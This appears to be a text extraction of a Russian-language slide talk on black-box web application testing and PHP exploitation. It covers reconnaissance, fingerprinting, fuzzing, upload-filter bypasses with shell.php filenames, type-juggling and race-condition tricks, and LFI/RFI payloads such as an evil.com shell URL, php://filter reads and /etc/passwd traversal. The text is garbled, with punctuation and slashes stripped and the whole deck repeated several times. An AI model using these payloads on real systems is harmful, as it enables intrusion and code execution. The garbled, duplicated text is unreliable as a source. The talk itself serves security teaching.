bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
План
bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)
bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации
Первые шагиbull Перед Вами веб-приложение Что делать
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Первые шагиbull Перед Вами веб-приложение Что делать
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Первые шаги
Первые шаги
bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)
bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-
сервераbull Смотрим на HTTP-заголовки и содержимое
ответов
Главные идеи
bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)
bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)
Распознавание платформbull Веб-серверы часто оставляют подпись в
HTTP-заголовке Serverbull Также есть специфичные запросы
например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server
bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)
Распознавание платформ
bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно
bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных
bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo
Распознавание платформ
bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом
bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework
bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework
bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
